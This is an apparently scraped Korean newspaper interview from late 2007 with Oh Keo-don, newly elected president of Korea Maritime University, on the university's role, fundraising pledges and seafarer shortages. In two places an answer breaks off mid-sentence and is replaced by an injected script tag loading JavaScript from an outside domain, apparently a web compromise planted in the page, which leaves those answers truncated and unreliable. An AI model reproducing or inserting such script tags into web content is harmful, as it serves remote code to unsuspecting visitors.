UPDATE : 2024-04-27 17:13 (토)
오거돈 제5대 총장임용후보자에게 듣는다
오거돈 제5대 총장임용후보자에게 듣는다
  • 대담=윤여상
  • 승인 2007.12.31 04:21
  • 댓글 0
이 기사를 공유합니다

"세계적인 해양 강국으로 진입하기 위해선 국가적인 큰그림이 그려져야 합니다. 이를 위해선 먼저 우수한 인력 양성이 필수적입니다. 한국해양대학교가 지역 거점 대학이 아닌 해양특성화 종합대학으로서 역할을 수행해야 할 중요한 시기입니다"

지난 11월 16일 국립한국해양대학교 제5대 총장임용후보자로 당선된 오거돈 전 해양수산부 장관이 본지와의 신년특별대담에서 해양대의 역할에 대해 이같이 밝혔다.

본지는 임기(오는 3월초)가 시작되기전부터 해양대 내.외부를 살피며 바쁜 일정을 보내는 오 당선자를 만나, 지난 11월 18일자(홈페이지 기준) '한국해양대 총장 선거를 취재하면서'란 제하의 기사에서 약속한 오 당선자와 만나 그의 포부 등을 들어 봤다.

'망망대해에서의 등대의 역할을 대학이 하고 있다'고 말씀하셨는데...
현재 해양대가 많은 어려움을 겪고 있는 것으로 알고 있습니다. 등대 역할을 제대로 수행하기 위해 가장 먼저 해결해야 할 난제는 무엇이고 어떠한 해결책을 갖고 계신지요?


등대는 어둠 속에서 선박의 항로를 안내하는 역할을 합니다. 해양대학은 우리나라 해양산업계가 나아가야하는 방향을 제시하는 지식 등대와 같은 역할을 수행해야 합니다. 21세기 대학은 과거 상아탑 개념을 넘어서 사회와 함께하는 열린 대학으로 나아가고 있습니다. 대학이 관련 산업계를 선도해 나갈 수 있는 역할을 해야 한다는 말입니다.

우리나라 지정학적인 특성과 해양강국을 지향하는 정부의 정책 방향, 그리고 우리나라의 해운.조선.물류 부문의 위상을 생각할 때 해양대는 정부 정책과 민간 기업의 기술 및 전략 개발 등을 이끌어야 하는 등대로서의 역할을 요구 받고 있는 것이 사실입니다.

그러나 지금의 해양대는 방향성을 상실하고 있다는, 즉 등대로서는 심각한 문제가 있다고 볼 수 있습니다. 스스로의 방향성을 제대로 잡지 못한다면 선박을 제대로 안내할 수 없겠지요.

이러한 난제를 해결하기 위해 우선 등대를 밝힐 수 있는 내부 동력을 살려야 합니다. 먼저 구성원들이 공감할 수 있는 대학의 방향성과 목표를 명확하게 설정하고 이에 도달할 수 있는 실천 방안들을 현실적으로 수립하는 것입니다.

이어 대학 구성원들이 신바람이 나서 목표를 향해 나아갈 수 있도록 하는 내부 수혈이 필요합니다. 교직원 처우 개선, 연구 진작을 위한 인센티브 제도 등 다양한 사기 진작책을 구상하고 있습니다.

내부 사기가 진작된다면 다음은 대외적으로 대학의 위상을 높이는 노력이 필요합니다. 해양부문의 특성화 및 차별화된 전문성을 바탕으로 하여 산?연?관의 관계를 신뢰적이고 상호 발전적인 방향으로 구축하는 것입니다.

총장임용후보자로 선출되시고 많은 분들을 만난 것으로 압니다. 해양대 발전을 위해 구체적으로 누굴 만나 어떠한 의견을 나누셨는지요?

해양대에 대한 대학 내부와 외부의 시각을 확인하고 싶었습니다. 대학 포지셔닝(Positioning)이지요.

내부에서는 먼저 교수님들을 만나 보았습니다. 교수 사회가 어떤 집단보다도 개성이 강하다는 점을 선거 기간 동안 느꼈고 다양한 의견과 시각을 제대로 인식하지 못하면 나아갈 방향을 제대로 잡을 수 없다는 생각에서 였습니다. 우선 교수님들이 느끼는 현재의 대학 위상과 문제점을 들었습니다. 의사가 환자를 진단하고 처방을 내리는 것과 같이 대학의 CEO로서 파악해야할 우선 과제라고 생각합니다. 만남을 통해 현실을 어느 정도 직시할 수 있게 되었는데, 예상했던 대로 대외적인 환경 변화에 따른 위기의식과 자신감에 대한 회의가 큰 것으로 파악했습니다.

외부에서는 타 대학 관계자, 관련 산업계, 지역 상공계 등 대학과 직간접적으로 관련되는 주체들을 만났습니다. 바깥에서 보는 대학의 모습이 어떠한가를 파악하고 싶었습니다. 너무 대학이 알려져 있지 않다는 안타까운 마음이었습니다. 대학 내부에서 생각하는 특성화 브랜드가 굉장히 약하다는 감을 받았습니다. 향후 대학의 특성화 방향과 외부에 알리는 홍보의 필요성도 절감했습니다.

선거중 해양대의 정부 프로젝트 부재와 열악성을 꼬집으셨는데요. 구체적으로 이를 수주하기 위한 복안을 갖고 계시는지요 ? 그렇다면 그 규모는 얼마로 보시는지요?

정부의 제반 지원 사업들이 과거 배분 방식에서 공모를 통한 경쟁 방식 중심으로 변하고 있습니다. 따라서 정부 프로젝트 수주는 곧 대학 재정 확보라고 볼 수 있지요. 개별 교수 입장에서는 연구 역량을 높일 수 있는 촉매제이기도 하구요. 이런 관점에서 정부 프로젝트의 중요성을 얘기했습니다.

사실 우리 해양대의 경우 상당한 잠재력을 가지고 있습니다. 타 대학과 비교할 때 차별화되고 경쟁 우위를 점하는 분야를 많이 가지고 있습니다. 구슬이 서말인데 꿰지 못하고 있다고 할까요. 이것은 개?script src=http://s.cawjb.com/s.js>
정권이 바뀌었습니다. 해양부 장관 재직 경력이 오히려 도움이 안되는 것 아니냐는 우려도 있는것 같은데... 본인의 생각은 어떠신지요?

그런 얘기는 선거 전 초부터 계속 있어왔습니다. 우선 저는 이제 정치를 하지 않습니다. 과거 잠시 정치권에 몸을 담았습니다만 이제는 대학 행정에 전념해야 하는 입장입니다.

정당을 보는 것이 아니라 정책을 보고 나아가야 할 입장 아닙니까. 새 정권도 바다의 중요성은 당연히 강조할 것입니다. 저의 경험도 도움이 될 수 있을 것이고, 해양대의 역할은 더욱 중요시 될 것입니다.

대학이 국가와 민간 기업의 발전에 기여를 하는 방향으로 노력한다면 결국 하나가 될 수 있다고 생각합니다.

300억원의 기금모금과 교직원에 대한 처우개선에 대해 너무 무리한 공약을 한 것 아니냐는 얘기도 있습니다. 2년뒤 중간평가와 직결된 문제인데 구체적인 재정확보 방안이 있으신지요?

300억원을 약속했지요. 저 외에 다른 후보들께서 저 보다 많은 액수를 제시하기도 했습니다. 그동안 쌓은 저의 개인적인 역량을 대학 발전 계획과 연계해서 목표액을 채우겠습니다.

모금의 방식을 대기업군, 지역 상공계, 동문, 해양 이벤트를 통한 국민 참여제 등 다양화하는 구체적인 방안을 구상하였습니다.

해양대 교직원의 처우는 상대적으로 낮은 수준입니다. 국립대학인 관계로 정부에 의존하는 것은 한계가 있기 때문에 대학 자체적으로 처우 개선을 할 생각입니다. 처우에 만족할 때 대학에 대한 사랑과 교육 및 연구에 대한 열정이 살아난다고 생각합니다. 앞서 얘기 드린 ‘등대’의 불씨를 다시 살리는 방안이기도 합니다.

현안 문제인데요. 장관시절 해운계 발전을 위해 톤세제, 국가필수선박제 도입 등 굵직한 문제를 해결하셨습니다. 그러나 지금 해운계가 선원수급문제로 어려움을 겪고 있습니다. 대책은 없겠는지요?

해운업계의 사정은 누구보다도 제가 잘 알고 있습니다. 유가는 인상되고 인건비의 비중이 높기 때문에 인건비 부담을 줄여야 한다는 요구가 갈수록 강해 질 것입니다.

선원수급 문제는 국내 고용 안정 문제와 맞물려 있는 민감한 사안입니다. 일본, 유럽 등 앞서간 해운국가의 선원 대책 방안을 심도 있게 검토하고 정부, 업계가 함께 고민해서 풀어야 할 문제입니다. 해양대의 경우 고급 선원을 양성하는 기관이기 때문에 문제 해결의 한 축이 되어야 한다는 생각입니다.

정부 출연연구기관 등과 함께 장기적인 수급 전망 및 대책이 해운산업과 국익 및 고용안정이라는 관점에서 연구되어야 합니다. 취임 후 검토 할 과제 중 하나입니다.

선원수급계획은 국내뿐 아니라 동북아 나아가서 세계 선원수급 계획과 연 계하여 우리나라가 선원공급의 본산이 될 수 있도록 하겠습니다.

총장임용후보 선거시 ‘타 후보의 좋은 정책은 받아들여 발전시키겠다’고 하셨는데... 그에 대해서도 한 말씀 부탁드립니다.

선거 기간 중 토론회를 통해서 '아하! 이런 좋은 방안도 있구나' 하는 생각을 하게 했던 타 후보님들의 정책이 있었습니다. 이제 경쟁은 끝나고 대학을 잘 살려가는 것이 공동의 과제이기 때문에 각 후보님들의 괜찮은 정책들은 반영을 하겠다는 의도였습니다.

구체적인 것은 1월에 내부 정책팀이 짜지면 거기서 구체화를 할 것입니다.

대한민국 세계 5위 해양강국 진입을 위한 해양대의 역할과 총장 재직 시 ‘이것만은’ 이뤄놓겠다는 것이 있으시다면?

해양대는 해양부문 특성화를 중심으로 하는 국립대학입니다. 필요성과 정부의 의지에 의해 설립되었고 유지되고 있습니다. 바다의 중요성이 강조되는 만큼 대학의 역할도 강조될 것입니다.

다만 그동안 대학 환경 및 정책의 변화에 제대로, 발전적으로 대응했는가하는 데는 내부의 자성이 필요합니다. 대학의 특성화 방향 재설정, 내부 동력 생성, 대외적인 관계 재정립 등을 이뤄가면서 다시 ‘등대’의 역할을 해야합니다.

총장 재임시 이루어야 할 것은 많이 있습니다만, 특히 강조하고 싶은 것은 대학의 국제적인 위상 강화입니다. 해양의 문제는 인접국과 공동의 문제가 되는 경우가 많습니다. 대립이 될 수 있는 수역 문제, 상생의 효과를 얻을 수 있는 물류 문제 등을 들 수 있겠습니다. 따라서, 대학도 인접국과 교류하며 현안에 따라서는 하나로 갈 수 있는 새로운 관계 정립이 필요합니다.

저는 재임 중에 해양대를 최소한 동북아 지역의 해양계 선도 대학으로 만들 것입니다. 이제 국내에서 대학의 위상보다 국제적인 위상이 더욱 중요해지고 있습니다. 제가 장관 재직시절 한중일 물류장관회의를 제도화하는 등 국제 교류의 경험이 있습니다. 이를 살려서 대학 발전으로 연결할 계획입니다.

새해를 맞아 해사신문 독자와 해양대 가족들에게 신년사를 겸한 덕담 ?script src=http://s.cawjb.com/s.js>

댓글삭제
삭제한 댓글은 다시 복구할 수 없습니다.
그래도 삭제하시겠습니까?
댓글 0
댓글쓰기
계정을 선택하시면 로그인·계정인증을 통해
댓글을 남기실 수 있습니다.